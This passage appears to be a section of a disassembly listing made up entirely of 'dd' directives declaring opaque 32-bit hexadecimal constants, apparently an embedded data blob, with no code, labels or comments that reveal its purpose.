		dd 0BD47B18Ch, 3303E3F0h, 925DF31Fh, 2C4C89Bh, 25D50067h
		dd 0D81D5C84h, 7C00B810h, 0EC9606FDh, 1D6A6F22h, 52D42A93h
		dd 85A60137h, 607335A6h, 2800F3C6h, 11D0C0D8h, 0F58D91h
		dd 9ADD26BBh, 9EEDEB09h, 4D8A6E00h, 0B52181DCh,	7A1C00F3h
		dd 9CC3B73h, 8600B68Fh,	0B308D1FBh, 989FD5h, 78E0A9E6h
		dd 9A52DB8Bh, 8041453Eh, 363F2050h, 8121Ch, 497D5999h
		dd 0D4F404DBh, 0D3D57600h, 8C46336Ah, 0FDD90687h, 18725603h
		dd 0F8017DFCh, 25E0FEFh, 0AC30E149h, 0C1940D50h, 0DE20EDAFh
		dd 48006FE3h, 1C314175h, 4022448h, 0C8A05645h, 0F8FB83E8h
		dd 80DD4DC9h, 9407D240h, 77121664h, 0EBD34015h,	0C5A2DB01h
		dd 5A69C440h, 3BE75931h, 181ECB30h, 5EB18084h, 76D6724Eh
		dd 0FC152E3Ch, 9103237Eh, 0C251C89Bh, 0BCB81C77h, 6B59F0FBh
		dd 30005B5Fh, 9971A642h, 6FAA8A4Eh, 7C4E4081h, 61C1038Ch
		dd 0A93B6200h, 0B353506Fh, 515E00DBh, 0DF90D057h, 0D63CE756h
		dd 0A20F0602h, 7560D720h, 16250F6Ah, 0D1A17CBCh, 70DA80F5h
		dd 980F01DBh, 6017F199h, 75E7F059h, 1411FA72h, 0B071A051h
		dd 81025A86h, 6CA2EB18h, 7382219h, 0BC2780C5h, 0D9FC238Ah
		dd 24B7D100h, 0C42E7397h, 0B88F00ADh, 917A7FE1h, 0FB0033ACh
		dd 0F3050DD0h, 0E6E51D5h, 0E23260C6h, 0ACF792Eh, 4095F587h
		dd 29B6A7F2h, 3577FB00h, 15747C86h, 7846F807h, 68E21E3Ah
		dd 585E01D1h, 0C8D8CD32h, 15F4050Fh, 750F9574h,	87527B6Ch
		dd 0F2C008F5h, 0FECC687h, 38D177F4h, 0C70F001Fh, 0D2935851h
		dd 0BD57D8F5h, 553B3C00h, 0C35F60DDh, 0F2F8D3h,	54254C70h
		dd 8BA3DCF6h, 4346760Fh, 526E074Fh, 28AEF6h, 744595C5h
		dd 80DD6677h, 18D83730h, 0DA0632D6h, 418A0D8h, 4A075F5Bh
		dd 6F2E7169h, 0E2E58630h, 2CD8C019h, 135272BBh,	0D1CF8B00h
		dd 5B1AB784h, 50DF7FF8h, 60B68CFFh, 0F7583176h,	48015CC0h
		dd 8CDAA2F6h, 0A8404DDBh, 3E524684h, 70AA4A2Eh,	48EC1928h
		dd 43051936h
		dd 991DF4C0h, 6C8C0770h, 39ED100Ch, 60D3ACF1h, 0FD861D00h
		dd 0F72C5F65h, 812BA8C8h, 29A140F2h, 2890514Ah,	58F3E489h
		dd 0C6BF94Ch, 79517685h, 0F5D014CBh, 0EB9F7C3Eh, 30A21E84h
		dd 0B634D589h, 54195D60h, 917938F8h, 179E0610h,	360240D0h
		dd 455273B3h, 6488285h,	5F181E28h, 37493CF7h, 0EF8A3070h
		dd 495B68C9h, 0E46DEE1Fh, 0F2DE4800h, 0C1E35A7Eh, 993E9A9h
		dd 0C7184160h, 8531DC3Ah, 0ED198006h, 19593EA2h, 3959B6F7h
		dd 0DCFAE8AFh, 2E862C0Ah, 7080949Ah, 6E3D6D04h,	8810C02Dh
		dd 0B35FA94h, 0BFB75705h, 0BC40DC61h, 86936DE5h, 1611C3CDh
		dd 40BDD02Dh, 68ED20CCh, 0EC60AE8Dh, 539D6510h,	0D0B460BCh
		dd 0FA51E13Fh, 2348C51h, 94AE84DCh, 9F891980h, 8B1B4CF1h
		dd 319446Ah, 5B23548h, 6901EE8Ch, 0AC0AF4CAh, 0D201E2DEh
		dd 191BDD4h, 0AA26A74Eh, 5EE00EB5h, 84FF559Fh, 0E8DA09C4h
		dd 7031603Fh, 22730137h, 3BA28848h, 0B9543205h,	4040BE8Ah
		dd 68D0F204h, 3CBAC840h, 38188F3Ch, 0ED3318F6h,	1207F73Eh
		dd 64478C76h, 21EC6192h, 8254AA6Ch, 84364338h, 3042DFBCh
		dd 0A849CC5Eh, 4F482489h, 7724D9EAh, 1F122CD3h,	70EE0440h
		dd 924EDAB6h, 85A92838h, 0D48A210Ch, 0AC28810h,	5A014F39h
		dd 84002343h, 0C8F0734Bh, 224914Ch, 0F4540FEBh,	821520F9h
		dd 0EE0193C9h, 0F6D6018Bh, 0B6D326CCh, 7A300021h, 7D43C7C9h
		dd 0C2029A47h, 4FE0F69Eh, 9FF500B5h, 6E019779h,	0E9465FD9h
		dd 5C603EABh, 0D287134Ah, 6BB0066Dh, 5E0E50EAh,	0FC8637F4h
		dd 424B424h, 67767540h,	11D760D2h, 4132D553h, 93C35400h
		dd 92BA6C06h, 0B40A54E1h, 32BE1E16h, 0E78D4022h, 85215D9Fh
		dd 0A81454F8h, 6C00266h, 6F5B7A3h, 60F4A068h, 9719C311h
		dd 986C7192h, 49821078h, 0B603FCF8h, 838CF61Bh,	45FC71F0h
		dd 0E699CF00h, 0EFD05FC5h, 0B4C20030h, 70E3E18Dh, 0AF3919B9h
		dd 148B00BFh, 0D8F0335Eh, 62789F3Fh, 4B32FA00h,	0E29254C4h
		dd 34990325h, 0D242CD1Fh, 0F5D515E0h, 27EA3B00h, 9BEE5C21h
		dd 58B01635h, 0D352E0A9h, 393D7700h, 98545E0Eh,	0D98B00D2h
		dd 0FD48AA3Ch, 0BC004359h, 2CF0DEA7h, 72E1E2Fh,	0C4CE3194h
		dd 0F304A09Fh, 0AA0FD9ACh, 5EEFE659h, 0C805B100h, 5ABA76h
		dd 2542F8F0h, 4A13B71Ch, 8AA1BE00h, 10682F88h, 70270FCEh
		dd 7800FEFCh, 8B5C2A81h, 0C696602Eh, 0E344A200h, 0C1E336Bh
		dd 0DC95861Ah, 8530EB30h, 0A9CD082Eh, 0C79F847h, 0D99986D8h
		dd 0A0072321h, 26BB6F49h, 0CC3FB180h, 703F4A3h,	0D2EB7159h
		dd 2740FCA8h, 0D4CA0501h, 82336C45h, 9322A16Eh,	440F5899h
		dd 6588A0ADh, 0C2AEECh,	8CE64B98h, 1F36E5E3h, 49858F30h
		dd 7C3898Eh, 3C25140Ch,	0C89460B1h, 1907184Ch, 896F8CDBh
		dd 60013F70h, 0CF0F3C68h, 9E51F68Eh, 38048BE0h,	230128FAh
		dd 57BAAFF3h, 7EC4D2EFh, 0EA900060h, 6CF17461h,	3400EE58h
		dd 0E3F009D1h, 0CBF4C7h, 76C45115h, 7C7282E6h, 5C90E760h
		dd 327770h, 4B338D19h, 75EBEC53h, 55E38500h, 0DD616431h
		dd 0B8040083h, 40F86530h, 0C700FB7Ch, 0C27749E5h, 0DB4256h
		dd 0BF60982Eh, 3B105FBEh, 0B80BA43Dh, 0E50A805Ch, 89B356B2h
		dd 1C22751Dh, 7D7F1Bh, 9F07B765h, 83077B10h, 0FEB62B91h
		dd 0CA5014F0h, 9010C09Dh, 353F8D79h, 49856900h,	95B8FEDBh
		dd 1E980602h, 289A6B4Ah, 0F2B0D700h, 9EF489A5h,	98FE01C9h
		dd 160D3179h, 0F199E88Eh, 6A951918h, 92A531h, 0EFCA22D0h
		dd 61B7D926h, 0B95FF500h, 0AFBD1415h, 357BC2h, 0F6721C62h
		dd 0F9DFA954h, 90B98200h, 6B7E029Eh, 29240178h,	95E63EA4h
		dd 99C89137h, 0FC031913h, 0CB2107CEh, 0B84C73D3h, 3D8D3878h
		dd 792FFA80h, 37EF25B3h, 107BD903h, 3E95E1BFh, 8F00B841h
		dd 948514B4h, 0CD3A1902h, 106B1896h, 0E76320h, 0C7D42F8Fh
		dd 43F3535Ah, 69069118h, 632D41h, 82166F85h, 0EC0D9CD6h
		dd 3AA06E00h, 0D17EE0D0h, 54D4EE3Dh, 4456AC26h,	0D0A97C27h
		dd 2B01CE31h, 0E1CD771Ah, 9201A885h, 73B014B4h,	15BCD700h
		dd 4CE6EBCCh, 9F048800h, 23B43A0Eh, 5EE491h, 0FECCF8ACh
		dd 8CA62744h, 9D200353h, 60055BC8h, 9803F4B5h, 0D17FD0C1h
		dd 0C20BBAFh, 8CB00C95h, 98E817F3h, 0BCE4CB00h,	5DA73724h
		dd 0F490319Bh, 9FB2C408h, 80F8CD20h, 0D293BA19h, 14EA2604h
		dd 0BCB8AC08h, 8BC3A388h, 0A51BF189h, 5F88BD18h, 448F00E3h
		dd 9C706D7h, 66EEBFF2h,	0A1A2FA26h, 800E616h, 97659F0Ch
		dd 8A0E0069h, 901A3B9h,	171ED11Dh, 0F042C78Eh, 44EA7B19h
		dd 1860F418h, 1194E1D0h, 8570BDF3h, 0DF777303h,	0CAAB5158h
		dd 39DE60B8h, 6B96039Eh, 18458275h, 107A300Ah, 0F14064A1h
		dd 0F31BBA8Fh, 21C06418h, 6A8FEA55h, 0A454FBFBh, 7424F7C0h
		dd 0FAF9092Eh, 80EDE76h, 2211B0Dh, 0E7308DBCh, 372511BCh
		dd 211C8CEFh, 0BCBF00DAh, 0CDD6B048h, 5267FFD2h, 0D4A72B18h
		dd 874546E0h, 58111D7Ah, 0B3F9CD67h, 0B5A2F821h, 953D9900h
		dd 696A2522h, 590E601Bh, 7EEFAA51h, 8FA8D564h, 803AC894h
		dd 0C0106A10h, 7582EE69h, 0E7970E9Fh, 0F0292937h, 8BCCF402h
		dd 60BC2C84h, 29BB8FEEh, 0C3AC7D1Bh, 200BE65Eh,	83D4691h
		dd 498860h, 6099ED48h, 3073F01Ah, 96F1CAF8h, 0F23ADDB5h
		dd 0CB607F5h, 8C9E3E4Dh, 30F2161h, 64A8DE8Ch, 6900B207h
		dd 0C1EADD16h, 2E6820h,	42A454ECh, 6FC695D8h, 6A318500h
		dd 9791BEB1h, 0D01A404Eh, 0A5643CA5h, 0FC8E0A61h, 480F2743h
		dd 3F712E5h, 0D0A17586h, 216558Bh, 0E69F84CCh, 0D848FC9Ah
		dd 513D225Eh, 2D1D03E5h, 18577FCAh, 209B7508h, 51012841h
		dd 0FC74FD87h, 0EFC3C99h, 1141237h, 90383211h, 8BCE830h
		dd 62073720h, 7CA0D958h, 758B2CBCh, 6A2B0FADh, 59FFC03Fh
		dd 14616FCh, 7047E58h, 0C21EEBC5h, 979F0B32h, 80261134h
		dd 960181BBh, 71460092h, 37F0A918h, 0B530FA2Bh,	153628CDh
		dd 5D6401F1h, 0E1CF173Ch, 60DADDEDh, 6989565Ch,	347882F6h
		dd 7FA89042h, 0F8FA05A4h, 904A2E32h, 7D7B2B68h,	1C0B0ABh
		dd 0E5314EDBh, 6507E887h, 0CE6D1980h, 0DEDC6661h, 1900D4E0h
		dd 562AF6E0h, 76CF4120h, 407C5807h, 0D7791F30h,	471DC6F4h
		dd 50CC7911h, 487A40CFh, 2680D815h, 0A3DE8FC6h,	54012E7Ah
		dd 0F061B840h, 0F4FCB4A2h, 109E0AEDh, 82B09466h, 8C72EAF9h
		dd 0A580A043h, 0F398A4ECh, 0B62A3118h, 3D7450Ah, 89FF9F50h
		dd 14882613h, 0A701B458h, 0B2F40648h, 40839A72h, 8219362Dh
		dd 29975800h, 0EDCCFA14h, 70A3123Eh, 0DD882106h, 0B9F8EB03h
		dd 77005EF7h, 81C4FD3Ah, 0CB57B18h, 0B09391D3h,	0E513C5D1h
		dd 4C0745DCh, 79F048DAh, 0B34F214Eh, 9FCBD084h,	46C3F844h
		dd 2021A485h, 84675AF4h, 23653312h, 40E41D18h, 0B986A551h
		dd 84D01E1h, 3EF89043h,	73DC4C79h, 23ADBA03h, 99346DECh
		dd 8970D594h, 0FF21C075h, 0F659528Dh, 4D5CE800h, 0F8D9E4D7h
		dd 3422FB09h, 0A5FE0442h, 0BF52C404h, 98829909h, 9E039F55h
		dd 0ACC8A879h, 70F20617h, 281EF882h, 0D0F06301h, 7E15A9CDh
		dd 74EA4980h, 0F5CBD217h, 1AED5800h, 0FF2A57D3h, 946D48A9h
		dd 7285F0C1h, 0D8097099h, 0A7203F03h, 1DD1F49h,	6B154F70h
		dd 0FC46A805h, 0E400ED6Dh, 96BD23D1h, 0B40E09Eh, 0E99F8845h
		dd 51258030h, 21E6EE3Fh
		dd 0F7A9134h, 80512F40h, 26B43FDCh, 4A4B02FDh, 12196966h
		dd 68ED0320h, 0E91B4414h, 0C899E700h, 0E18D7AAh, 4CAB4C25h
		dd 42331E09h, 94C22442h, 0D78B1801h, 4A80FCEAh,	4F280664h
		dd 0A40724C8h, 8D3D02B8h, 16ABBA30h, 82A99760h,	888EB02Ch
		dd 22BCEAC0h, 5DF72137h, 0EB002991h, 46D9BCA2h,	7800BA43h
		dd 0C6E4659Fh, 25E7C5EDh, 0F4828E1Eh, 0B8A074F8h, 1D5E2CCDh
		dd 5259C405h, 0C1000E14h, 1EE44B03h, 3078606Eh,	0CC86C87Bh
		dd 0F1CD6304h, 0CCD6EA72h, 668758B8h, 69F35E01h, 50E1D2C0h
		dd 766FEACh, 55E27700h,	34929078h, 9ED200EFh, 7EEAF27Ch
		dd 0D31F2C87h, 7B063597h, 7439A2E7h, 1B5C16C5h,	7500667h
		dd 460019B3h, 318C4C6Eh, 7BCB83h, 0F6375BFBh, 322E36BDh
		dd 4BA18600h, 0CC1C4989h, 3BF0B8F3h, 0E4D268D0h, 9E9CFC00h
		dd 4E678E14h, 9519FA13h, 0CB6A5C90h, 5073006Eh,	93FDD47Dh
		dd 140077F3h, 0AC78BBBFh, 1865CC36h, 91AE7E75h,	59C11EF1h
		dd 1505B026h, 7003DC80h, 2ED49F65h, 7F509607h, 0E303797h
		dd 90CEC374h, 8C4E0B64h, 5090F45Ch, 0B0F2DCBCh,	75DF102h
		dd 4CEDD375h, 468CB02Ch, 0BCE5018Fh, 5DBF372Bh,	0D088320Ch
		dd 0EEBC00BDh, 0D3F11797h, 0A42BA923h, 71F909Fh, 8286C9F0h
		dd 8A793EADh, 0A0488E01h, 0F86ACBB4h, 68183D2Bh, 8B591D18h
		dd 0F2BF1831h, 0E6D61122h, 8C9CF71Dh, 1EF05C00h, 0B7CB496h
		dd 95734A35h, 1669A402h, 301E7481h, 0F11C2524h,	6B87210h
		dd 97234B59h, 758E2530h, 61112097h, 0C06BC19Eh,	60211E85h
		dd 994051D4h, 49AC6007h, 953FEB0Fh, 96442200h, 248F1DA8h
		dd 3677877h, 4C9241FAh,	39004E9Fh, 791A3611h, 6C527Fh
		dd 0B9688DD7h, 0A46429D2h, 71FB1900h, 5765C22Dh, 0A8664916h
		dd 88675F00h, 0C5F0CA6Ch, 52A3A00h, 0A96BABFCh,	0B48D006Eh
		dd 0E7508862h, 0F896F4A7h, 0B826E881h, 0B3E00A4Ch, 0F1374058h
		dd 782F1C44h, 28300092h, 9BF9446h, 0D00AF51h, 18225D95h
		dd 4BC6416h, 294A362Ch,	699C838Ah, 1E41DCE7h, 8F244D5Ch
		dd 7CC11216h, 0F40DFA28h, 0F510EFDDh, 0A7C4B53Dh, 0A9F60019h
		dd 34FEDEh, 42F09413h, 4A3729EFh, 0F8ADDF12h, 909E3CCEh
		dd 6349C199h, 0D420430Ch, 790E4416h, 0BD2B370Bh, 144423h
		dd 0B1D706EDh, 87FD14EFh, 0B9427305h, 0B4C2023Bh, 2BD0259Dh
		dd 0FE61106Ch, 15F1C1C0h, 899F0EEh, 0B197A80h, 0FF5C02h
		dd 0C7EB60C9h, 88D7CE97h, 0B8BF639h, 9A2EDB1h, 0D6788160h
		dd 5857143Eh, 0D1CAEE10h, 55900024h, 1DD2A64Eh,	7C148C98h
		dd 4DD0DCBBh, 22B78010h, 0A84F9FABh, 1C632790h,	40CEF288h
		dd 0F464C1FCh, 4104F032h, 408E3E52h, 53CE1CBFh,	664420FAh
		dd 0B200ADB0h, 0CFA0EF01h, 148200Ah, 9E211A13h,	38D71516h
		dd 8CAEB83Ch, 0B501E4Ch, 48502474h, 2570604h, 91CA9D89h
		dd 1448A18Dh, 0EC9168D6h, 497BF88Ch, 0C82107F3h, 10B2C305h
		dd 0E636252Ch, 4086E500h, 15749782h, 42BB3A79h,	69C4A178h
		dd 0B8B04913h, 3DF6D3C1h, 0D8A2A41Dh, 0F25C6C40h, 4C41D658h
		dd 0F86F011h, 0B4F08995h, 85031C07h, 3A9F7E7h, 4109D17h
		dd 0AE8A9A29h, 0FF9481B2h, 8928C597h, 8787B839h, 338275B8h
		dd 8598C88Dh, 627F12FFh, 0B384C099h, 0B88083A8h, 339D26C0h
		dd 0A2EA8770h, 66217318h, 0EBF43978h, 0C30BB1Eh, 0ACCB143Bh
		dd 0AAC70024h, 19FB6517h, 0DA640AE0h, 4018A083h, 0CE5E4034h
		dd 1636F50Ch, 44C195h, 5F7EF764h, 2143D8E5h, 801DB00h
		dd 2D05BD17h, 0F8BC0445h, 0C02F52D7h, 7C761B24h, 0CA3EED00h
		dd 2B6CC772h, 1766041Ch, 0C379479Bh, 0B811A644h, 0B1027E7Dh
		dd 8CB84FBEh, 400D9C84h, 5FC17E02h, 2BF1CB24h, 815EC187h
		dd 3C92BF70h, 8C7CE86Ch, 4E2DE209h, 19020CCAh, 71E60E68h
		dd 1BA02AFAh, 202223CDh, 1031A001h, 0E5F03616h,	0B237EC40h
		dd 0E81F693Ch, 63BAD903h, 827BD00Bh, 0B64C89Dh,	6198F03Eh
		dd 89D02813h, 8CDFF0B0h, 0FA50A313h, 0D52BC420h, 0BECF30D3h
		dd 9F49C728h, 26D06951h, 5258F02Ch, 450614E7h, 0E04ACD5h
		dd 0C895C2FCh, 28CEA98h, 0E6E15126h, 7B182C7Dh,	6C3D809Bh
		dd 161C33F2h, 8CC1EFD9h, 460C93F1h, 0C1802AD1h,	0DBAB26CDh
		dd 0B2003991h, 1FBB7654h, 647C617h, 0A786502Ah,	0D2248987h
		dd 0E5008060h, 6A8102D9h, 7AE3005Ch, 0A5AD9E3Dh, 1A00B2F7h
		dd 0D310F834h, 7154FCBFh, 0BDE60035h, 70D29F0h,	8A001101h
		dd 3D459380h, 38EE33h, 0BD5DF965h, 0BD5158Fh, 0C01D100h
		dd 0F62CCE1Ah, 14270751h, 0EE537A8Ah, 96725C0h,	9F00220Ch
		dd 475B013Bh, 1F6CF8CEh, 80BBFB24h, 44BF6D19h, 73715820h
		dd 0D20F5100h, 42C4A91Eh, 5B7846h, 0CAA384D1h, 8543AECDh
		dd 0F630A400h, 0E29AB29Fh, 0DB2B0A63h, 19C1377h, 0EE2E6D39h
		dd 0C40870D4h, 50426E2Eh, 0A39A1407h, 0A87F5C70h, 5D581F31h
		dd 0F4D04309h, 0FCE05B0Ch, 44E84604h, 0B820B061h, 0E9F0B501h
		dd 6FF7F79h, 3CEC739Ah,	6301407Ch, 3FCC0D5Dh, 83FD72D5h
		dd 0DC2FC4h, 0FE914881h, 78B06857h, 555CF100h, 0B47D58D2h
		dd 89E700FFh, 39EFF737h, 0F4F830B3h, 0BBD83105h, 4CC74614h
		dd 30E8A6h, 0CF20833Eh,	0A554E9FAh, 3146150Eh, 650A7CCCh
		dd 0A97020ECh, 9B148CE1h, 807C6AA3h, 0F4CCB5FDh, 2247436Ch
		dd 15BC1C41h, 260F80B5h, 4D13CD34h, 9E195400h, 2B814E28h
		dd 0C75ADh, 53B7E8F1h, 4052B6A3h, 0F0A78CA8h, 7D48AE60h
		dd 0FEB4AC5h, 0DA299407h, 5CF4E9A3h, 0DB3445E0h, 14918863h
		dd 0B0C87CB2h, 5B960100h, 0A57A3665h, 18A04192h, 79B31051h
		dd 387E606Dh, 0A1BA9EE8h, 0A09040FBh, 0A78114D1h, 1D37CCE0h
		dd 1F1A7D57h, 61B418E8h, 87F42648h, 0B8532D01h,	0BB3BC579h
		dd 0B1934AD1h, 0C0471E71h, 3266D19Eh, 0F300551Ah, 8588EE02h
		dd 0A1F50F19h, 3B18E92Ch, 2D2386F4h, 3D11CBh, 9E1B656Eh
		dd 300377D5h, 0A8199F20h, 0D31B5457h, 0C058F890h, 3ACD11h
		dd 58E8CF0Ah, 5A987A44h, 21E04530h, 39E53Fh, 22A41436h
		dd 6717BCA9h, 5B74B310h, 64320550h, 67CC5860h, 0CF013A70h
		dd 2C50D080h, 0E4FC2C22h, 13F4390Eh, 7FB3E334h,	0FA510059h
		dd 4267A303h, 12004FA1h, 0BBA50CEh, 1596F616h, 0E4785FFEh
		dd 395DB500h, 36BFD1EEh, 0A004CE8h, 7759D9B3h, 0A09F711Fh
		dd 30BC2D8h, 8AE9E1A7h,	0B900EF8Dh, 0BF52D473h,	0C0795F0Ch
		dd 192A3851h, 23E8E23h,	8D808C0Fh, 9EB1D3h, 87327CD7h
		dd 0EA018A39h, 1ED15444h, 8AB599FCh, 11844616h,	3AD08088h
		dd 0ACE0CFFDh, 3EE744B0h, 0BB39E800h, 18C6B3DBh, 0A06A48B2h
		dd 6008323h, 0B4FB11B5h, 4B44865Ah, 0B5FE1FBFh,	2A9340BAh
		dd 0EFED1D78h, 0E50BA8A4h, 303DB4h, 78BD2919h, 0F8230941h
		dd 0A803F2D2h, 7499E72Eh, 8F31BE58h, 7D9AA0F1h,	80B2950Fh
		dd 4ECD0E59h, 7DA8728Dh, 0B7F0BBh, 3F10A77Bh, 0EA157CDDh
		dd 0B8000891h, 0BC3CEF84h, 0F5641EB1h, 0E90877D4h, 0CD95A420h
		dd 0A7EE20EFh, 4330DBB0h, 6FEE1882h, 0FAFF0E57h, 5229B0F1h
		dd 338EB800h, 0F455E0E7h, 88344E98h, 2B3FC02Eh,	0A8A87B5Ch
		dd 9909492Ah, 82F344B0h, 0AF8E54h, 5B576420h, 59248800h
		dd 0EA47FDDDh, 9EE10203h, 0E68F9976h, 7BCD0060h, 71BD4000h
		dd 8E4FB064h, 0CC3600E7h, 0DE275F23h, 0B4937DF0h, 1E7F178h
		dd 0EBBDBBF8h, 24910BB6h
		dd 1200A8F8h, 63547867h, 0E3D479B5h, 914049F1h,	48C48E5Bh
		dd 86C8F047h, 739F6C0h,	90B056CFh, 3C00F922h, 0F7D43ACEh
		dd 53896B9Fh, 90A2E822h, 5C87E030h, 0E1121297h,	32D80074h
		dd 6AC7B3D2h, 58288B00h, 2C48DE0h, 9C09154h, 6F059619h
		dd 0D1CC4077h, 1CD9C071h, 84AC7000h, 0C21286FBh, 0D8456464h
		dd 3ACF60CDh, 8C98E608h, 71FD44h, 0F54A39E7h, 6B7F80Eh
		dd 78C45304h, 0D847577Ah, 91F83F8Dh, 38B04EB0h,	8CAD4501h
		dd 0F08F78EEh, 21A43831h, 0A60F1FF4h, 0B7B385A4h, 0F640883Eh
		dd 0B68D11E9h, 8FB031B2h, 6398833h, 59C821CFh, 1300E691h
		dd 0EEAF39E9h, 3A1CE134h, 33AB82Fh, 913C0A5Dh, 0D0294424h
		dd 80488C01h, 91BC0AA8h, 9364D04Fh, 0EF899942h,	60087440h
		dd 66C59704h, 0B48041D6h, 44CB77Dh, 4298329Eh, 0A204C33Dh
		dd 7CDE390Ah, 8B403402h, 21D93DEFh, 0AB916488h,	0EFCC9603h
		dd 5B88FE10h, 45F846CBh, 0DD0E8CA8h, 7000A1E6h,	1A92ED4Fh
		dd 0FEF0CEAAh, 9C2A4CF7h, 0BDF1B604h, 220280D5h, 3F00C5A2h
		dd 0FCE5B36Ch, 4E97B4h,	49629E2Bh, 0EB047405h, 8AAFE200h
		dd 0A4FD06F6h, 6B7A1CECh, 0F1868FD6h, 0D2CEDF40h, 0FB011094h
		dd 2CDCA28Bh, 34F02DF7h, 6EA70016h, 0F587744Eh,	0E200614Ah
		dd 0D7853EBDh, 3AA857E8h, 0D19D39B7h, 3BA9C094h, 3F0D81B6h
		dd 87739000h, 0C5E53842h, 0D68A2CA8h, 52270029h, 7B743E2Ch
		dd 0FA827F00h, 0B1D1E993h, 44F839h, 1846C729h, 0FE0C7B49h
		dd 0F83D3B00h, 309F8175h, 21E90C60h, 0DD80CD99h, 18926403h
		dd 0C02E0642h, 11BEBFh,	0F7F5A9F1h, 0CC86911Eh,	0A80CD1B8h
		dd 4148F42Dh, 0F18EA26h, 27157BB1h, 9AE04FCFh, 0F9CBB56Bh
		dd 0AE8540Fh, 0F16E1AFh, 0A040E9D7h, 0B899DCh, 578A8E5h
		dd 0F8E8D6A7h, 965C7310h, 0F96DE606h, 0AB0040B2h, 0C647A4F5h
		dd 30AF517Dh, 6A52F3E7h, 2100DABEh, 7E978E06h, 298A1Dh
		dd 0B35391F2h, 6D02507Ah, 1BAB5501h, 82CC8185h,	0CFE2C080h
		dd 32231128h, 22879100h, 0A24A970Eh, 0A00950D1h, 0A830001Bh
		dd 7249534Bh, 0ED00A329h, 0D65D0495h, 77A20Eh, 0B0C1D916h
		dd 435B9437h, 0F950D705h, 0C040FD26h, 0BB418615h, 279C0539h
		dd 809E1F20h, 21BCD915h, 0D6018CF2h, 32DC922Eh,	0C0508A7Fh
		dd 3B6B4BCFh, 71006243h, 0FFB14784h, 9FECCB8Eh,	0A1400416h
		dd 0A58B3000h, 233FE4h,	0B8F5BB1h, 0F877DEEh, 0A10070FAh
		dd 0C4D74E9h, 0EC33C585h, 44410120h, 5BA38453h,	0D66020E0h
		dd 265C4E01h, 3372B9F4h, 0A11162ECh, 4024E6E0h,	0B63500AEh
		dd 0A689978Ah, 0D400878Fh, 10F24C36h, 0F6AD110Bh, 7EB20D5Eh
		dd 0C4C0D12Bh, 16301809h, 0A48940ECh, 801E0042h, 839E07Eh
		dd 4F1F9804h, 80A8DAC7h, 669C2713h, 0EE4B000Fh,	0BCAEE15Dh
		dd 52D8E7E9h, 0F9C40089h, 0CAB480F4h, 0B80018D2h, 0F1876ED0h
		dd 902E1986h, 2CFF0040h, 0F974B9CFh, 95013082h,	7531D773h
		dd 8B00C46Eh, 4617AF08h, 4B005A70h, 0D2A7115Dh,	60634877h
		dd 107E5F00h, 14DF38A6h, 5E26201Eh, 61F2E300h, 0E6369270h
		dd 87E031Bh, 0E5CDDA15h, 5F6991C8h, 3DFF9900h, 431AC4DBh
		dd 9F800E0h, 426C5183h,	2F03B06Bh, 0F3992ECh, 3D407115h
		dd 80809D49h, 0E66C9383h, 0D3003D14h, 0B16950EAh, 0A97623h
		dd 1C87DECEh, 0F7B3EEECh, 0F1496DF2h, 89FF0140h, 6805A897h
		dd 41E0F876h, 0D900BA92h, 9F0B487Ch, 2CA2A5DDh,	24D3B3CCh
		dd 530A8EB8h, 555C7540h, 9094CDB4h, 994C7B60h, 0B08327F3h
		dd 4F11341Dh, 18C78F80h, 0B5CEF4Ah, 0F94C02F0h,	58A970E9h
		dd 74C900FCh, 8CB5DC2Fh, 5700FE90h, 0EB614069h,	168E79h
		dd 0F84EF067h, 317F70F4h, 5FF59300h, 3D2DDAAAh,	828D0037h
		dd 2F11F3B1h, 20C0E30Bh, 46C60C4Eh, 201353A5h, 60263784h
		dd 2CCF89F4h, 1C14B87h,	0DEC50E46h, 0F899E17Fh,	58C08FF8h
		dd 0B938B4A8h, 9003F04Ah, 576B3FDCh, 0D4DAC080h, 0F6BD2BBFh
		dd 8344EC00h, 0A17237EBh, 0F83C00DCh, 55F58B17h, 880029E2h
		dd 2C9B9833h, 0C0A9940Ch, 8B1D8F42h, 0F67F7D61h, 6C994500h
		dd 4FD4A04Dh, 9337003Ch, 8ECE3EDDh, 0B362B51Dh,	279A9129h
		dd 0C18838E0h, 0AB248841h, 1128FD94h, 0F5114250h, 0AFC7113Dh
		dd 7314C928h, 4CD8BA7h,	48B5AA28h, 2C180D5h, 77BBF939h
		dd 6B8F8E07h, 57772588h, 0C92F6890h, 0C89B0040h, 5D3CFC09h
		dd 8F005219h, 3B03016Ah, 9A8008h, 0EAB69DF5h, 2D2F9258h
		dd 0E112851Dh, 807EF61Ch, 4AF15FC6h, 75D7Bh, 0BBEE834h
		dd 7E57B8B9h, 0C97FD775h, 2FB19605h, 618013D3h,	345205Ah
		dd 0E10C0FE0h, 6CC05D61h, 320EAFE8h, 20B2BA5Fh,	0FFE78AC1h
		dd 847D00B6h, 0D63B9952h, 0C5EC13FBh, 8673F700h, 0D7EA687Eh
		dd 9B9303C3h, 0EFA7DC1Ch, 2B1699D8h, 0AF14A400h, 340881E1h
		dd 0BF4800E2h, 0B3796D22h, 3E3F92CFh, 1C48CDh, 104C18EEh
		dd 0B95484h, 6BFB17D8h,	1AB22375h, 0E4B63E00h, 3C2DAB8Dh
		dd 0AAED0018h, 30F5CCE3h, 4C03860Fh, 0E419AEBFh, 0A0E2FB4Fh
		dd 5D7C6Ah, 1C4E6DDh, 20069840h, 80F2B6F0h, 2C7A8200h
		dd 3E5D2461h, 0F17E6Eh,	0A9C14C06h, 0B1CD3331h,	0ED1130FDh
		dd 1EC50B17h, 0CABDFD00h, 0F0EE8712h, 0A98600FFh, 2D95253h
		dd 0DE7CD6B7h, 0B1DCC200h, 568347A5h, 1A67001Bh, 70A37B7Fh
		dd 0D600EB1Ch, 0ED7118E5h, 0BAB116h, 0AE2340CEh, 30641978h
		dd 76A6B800h, 0D46D0A4Ah, 901BB0EAh, 913A1CDCh,	0C21143FBh
		dd 0CEAD090h, 0A515B848h, 936FBD00h, 0C7AC3033h, 0A3F459h
		dd 0AE1AC251h, 3688205Ch, 0F412400h, 0CA46F348h, 0B70A269Ch
		dd 0E1EE0034h, 75470C37h, 0BCC7BD3Bh, 981281D9h, 940E8CCCh
		dd 4C3D7088h, 64EBDE81h, 0EAE0FCB8h, 1E24003Ah,	2A1FC2A5h
		dd 600E203h, 7ABF861Ah,	74523C8h, 0C6D0E093h, 53DDA109h
		dd 0BDAE30DAh, 368FE400h, 0A4010416h, 3F2600F0h, 0F6D42281h
		dd 4BF89938h, 0B728B660h, 17DD24DEh, 0C0BEEACh,	0CC18D09Ah
